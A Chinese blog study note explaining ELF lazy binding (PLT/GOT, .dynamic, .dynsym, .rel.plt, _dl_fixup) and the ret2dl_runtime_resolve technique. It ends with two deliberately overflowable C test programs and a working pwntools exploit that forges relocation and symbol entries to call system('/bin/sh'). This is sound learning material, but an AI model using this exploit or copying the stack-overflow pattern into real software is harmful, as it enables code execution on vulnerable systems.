之前简单学了一波ret2dl_runtime_resolve的操作,但是没有认真记下笔记,只懂了大概的原理流程,到现在要回忆起具体的细节又想不起来orz,果然以我这老人家的记性不通过码字是记不牢的,因此这里再认真深入复现一次原理
原理
拿一个自己写的c来测试一波:
#include <stdio.h>
void say()
{
char buf[20];
puts("input your name:");
read(0,&buf,120);
printf("hello,%s\n",buf);
//return 0;
}
int main()
{
puts("hello word!");
say();
exit(0);
}
我这里编译成64位的程序来测试
可以看到,程序一开始会先运行puts函数,打印出hello Word
上gdb进行动态调试
我们用si跟进call puts@plt里面去,会走到0x400500的puts plt表中去,我们可以看到plt中的内容则是几条指令
jmp 到 0x601018的地方去,这里其实就是got表
而我们可以看到,got表里面存的却是puts的plt表的第二条指令:
0x400506 <puts@plt+6> push 0
因此又回到plt表继续执行push 0操作
0x40050b <puts@plt+11> jmp 0x4004f0
接着又push了0x601008的内容到栈顶
而0x601008正是GOT[1],也就是push GOT[1]了,接着就jmp到GOT[2],而GOT[2]的内容正是_dl_runtime_resolve函数的真实地址
GOT表的内容
GOT[0]--> 0x601000:0x0000000000600e28 ->.dynamic的地址
GOT[1]--> 0x601008:0x00007ffff7ffe168 ->link_map 此处包含链接器的标识信息
GOT[2]--> 0x601010:0x00007ffff7dee870 ->_dl_runtime_resolve 动态链接器中的入口点
GOT[3]--> 0x601018:0x0000000000400506 -> <puts@plt+6>
。。。。
实际上,就是执行了_dl_runtime_resolve(link_map, reloc_arg)
,通过这个神奇的函数,就能够把函数的真实地址写到got表,以后plt一执行之前的jmp的时候,就可以直接拿到真实的地址了,到这里,其实就可以解释动态链接中是如何调用函数的了,通过这个也可以对动态延迟绑定技术有进一步的理解。
这里有一张图非常清晰的显示了函数第一次调用和第二次调用的流程:
继续,我们来看一下这个link_map里面有个什么
可以看到link_map中有个.dynamic的地址 ,到这里就要介绍一波这些花里胡哨的段了
.dynamic,动态节一般保存了 ELF 文件的如下信息
- 依赖于哪些动态库
- 动态符号节信息
- 动态字符串节信息
动态节的结构是这样的
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];
用readelf -d ./main可以打印出程序的动态节的内容
Dynamic section at offset 0xe28 contains 24 entries:
标记 类型 名称/值
0x0000000000000001 (NEEDED) 共享库:[libc.so.6]
0x000000000000000c (INIT) 0x4004d0
0x000000000000000d (FINI) 0x400774
0x0000000000000019 (INIT_ARRAY) 0x600e10
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x600e18
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x400298
0x0000000000000005 (STRTAB) 0x400378
0x0000000000000006 (SYMTAB) 0x4002b8
0x000000000000000a (STRSZ) 105 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x601000
0x0000000000000002 (PLTRELSZ) 144 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x400440
0x0000000000000007 (RELA) 0x400428
0x0000000000000008 (RELASZ) 24 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000006ffffffe (VERNEED) 0x4003f8
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0x4003e2
0x0000000000000000 (NULL) 0x0
我们这里需要关注的是这些:
0x0000000000000005 (STRTAB) 0x400378
0x0000000000000006 (SYMTAB) 0x4002b8
0x0000000000000017 (JMPREL) 0x400440
STRTAB, SYMTAB, JMPREL分别指向.dynstr, .dynsym, .rel.plt节段
这里解释一下,动态符号表 (.dynsym) 用来保存与动态链接相关的导入导出符号,不包括模块内部的符号。而 .symtab 则保存所有符号,包括 .dynsym 中的符号,因此一般来说,.symtab的内容多一点
需要注意的是 .dynsym
是运行时所需的,ELF 文件中 export/import 的符号信息全在这里。但是.symtab
节中存储的信息是编译时的符号信息,用 strip
工具会被删除掉。
.dynstr
节包含了动态链接的字符串。这个节以\x00
作为开始和结尾,中间每个字符串也以\x00
间隔。
我们主要关注动态符号.dynsym中的两个成员
- st_name, 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。
- st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。
.rel.plt 包含了需要重定位的函数的信息,使用如下的结构,需要区分的是.rel.plt
节是用于函数重定位,.rel.dyn
节是用于变量重定位
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
//32 位程序只使用 Elf32_Rel
//64 位程序只使用 Elf32_Rela
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela;
r_offset:指向对应got表的指针
r_info:r_info>>8后得到一个下标,对应此导入符号在.dynsym中的下标
介绍完以上,我们再回到这里:
_dl_runtime_resolve(link_map, reloc_arg)
这里的link_map就是GOT[1]
这里的reloc_arg就是函数在.rel.plt中的偏移,就是之前push 0
也就是说puts函数在.rel.plt中的偏移是0,我们用readelf -r main 发现的确如此
接着就需要分析_dl_runtime_resolve(link_map, reloc_arg)到底干了什么,我们gdb跟进,发现在 _dl_runtime_resolve中又调用了 _dl_fixup函数
这个函数就是绑定真实地址到got的核心操作所在了
这里直接贴一个大佬对 _dl_fixup 函数的分析
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
综上所述,过程是这样的
1、第一次执行函数,去plt表,接着去got表,由于没有真实地址,又返回plt表的第一项,压入reloc_arg和link_map后调用_dl_runtime_resolve(link_map, reloc_arg)
2、link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址
3、.rel.plt + reloc_arglt=0,求出对应函数重定位表项Elf32_Rel的指针,这里puts的是:
重定位节 '.rela.plt' 位于偏移量 0x440 含有 6 个条目:
偏移量 信息 类型 符号值 符号名称 + 加数
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000601040 000700000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
4、通过重定位表项Elf32_Rel的指针,得到对应函数的r_info,r_info >> 8作为.dynsym的下标(这里puts是1),求出当前函数的符号表项Elf32_Sym的指针:
Symbol table '.dynsym' contains 8 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
6: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
5、利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
6、在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,由此puts的got表就被写上了真实的地址
7、赋值给GOT表后,把程序流程返回给puts
利用操作
通过上面的分析,其实很关键的一点,就是要先从plt[0]开始这一切
因此我们在利用的时候首先要做的是把程序流程给跳到plt[0]中
然后根据上面的7步流程中,可以分析出有三种利用的方法
-
伪造ink_map使得dynamic指向我们可以控制的地方
-
改写.dynamic的DT_STRTAB指向我们可以控制的地方
-
伪造reloc_arg,也就是伪造一个很大的
.rel.plt
offset,使得加上去之后的地址指向我们可以控制的地方
这里一般都用最后一种,因为前两种要求完全没开RELRO保护,但一般都会开Partial RELRO,这样都直接导致.dynamic不可写
这里用这个小程序来测试一下
#include <stdio.h>
#include <string.h>
void vul()
{
char buf[28];
read(0, buf, 128);
}
int main()
{
char name[]="input your name!\n";
write(1,name,strlen(name));
vul();
}
//gcc -m32 -fno-stack-protector main.c -o main32
用一张图来解释exp的利用流程,应该非常清楚了
exp:如下
#coding=utf-8
from pwn import*
context.log_level = 'debug'
p = process('./main32')
elf =ELF("./main32")
def debug(addr=''):
gdb.attach(p,'')
pause()
bss = elf.bss()
ppp_ret = 0x08048549
pop_ebp_ret = 0x0804854b
leave_ret = 0x080483d8
PLT = 0x8048310
rel_plt = 0x80482CC
elf_dynsym = 0x080481CC
elf_dynstr = 0x0804823c
stack_addr = bss + 0x300
read_plt = elf.plt['read']
write_plt = elf.plt['write']
def exp():
payload = 'a' * (0x24+4)
payload += p32(read_plt)#read(0,stack_addr,100)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(stack_addr)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(stack_addr)
payload += p32(leave_ret)#esp指向stack_addr
p.recvuntil("input your name!\n")
p.sendline(payload)
index_offset = (stack_addr + 28) - rel_plt
write_got = elf.got['write']
#伪造dynsym
fake_dynsym = stack_addr + 36
align = 0x10 - ((fake_dynsym - elf_dynsym) & 0xf)#
fake_dynsym = fake_dynsym + align
#这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
index_dynsym_addr = (fake_dynsym - elf_dynsym) / 0x10#dynsym下标
r_info = (index_dynsym_addr << 8) | 0x7
hack_rel = p32(write_got) + p32(r_info)#伪造reloc段
#伪造dynsym段
st_name = (fake_dynsym + 0x10) - elf_dynstr#这里+0x10是因为上面填的fake_dynsym占了0x10字节
fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
#system("/bin/sh")
payload2 = 'AAAA'
payload2 += p32(PLT)
payload2 += p32(index_offset)#reloc_arg
payload2 += 'AAAA'
payload2 += p32(stack_addr + 80)#参数位置
payload2 += 'AAAA'
payload2 += 'AAAA'
payload2 += hack_rel #stack_addr+28
payload2 += 'A' * align
payload2 += fake_dynsym # stack_addr+36+align
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += "/bin/sh\x00"
payload2 += 'A' * (100 - len(payload2))
#debug()
p.sendline(payload2)
p.interactive()
exp()
小结
ret2dl_runtime_resolve的操作比较独特的一点是不需要leak,只需要一个控制程序流程的洞和有可控空间,就可以实现这个操作,在pwn中还是非常有用的一个操作,通过学习这个技巧,也能对elf文件格式以及动态链接,延迟绑定的机制有进一步的理解
然后,其实这里有个自动化的工具可以实现一把梭rop的构造,非常好用,但是还是建议理解清楚原理再去用工具
https://github.com/inaz2/roputils/blob/master/examples/dl-resolve-i386.py
参考
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://www.jianshu.com/p/e13e1dce095d
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/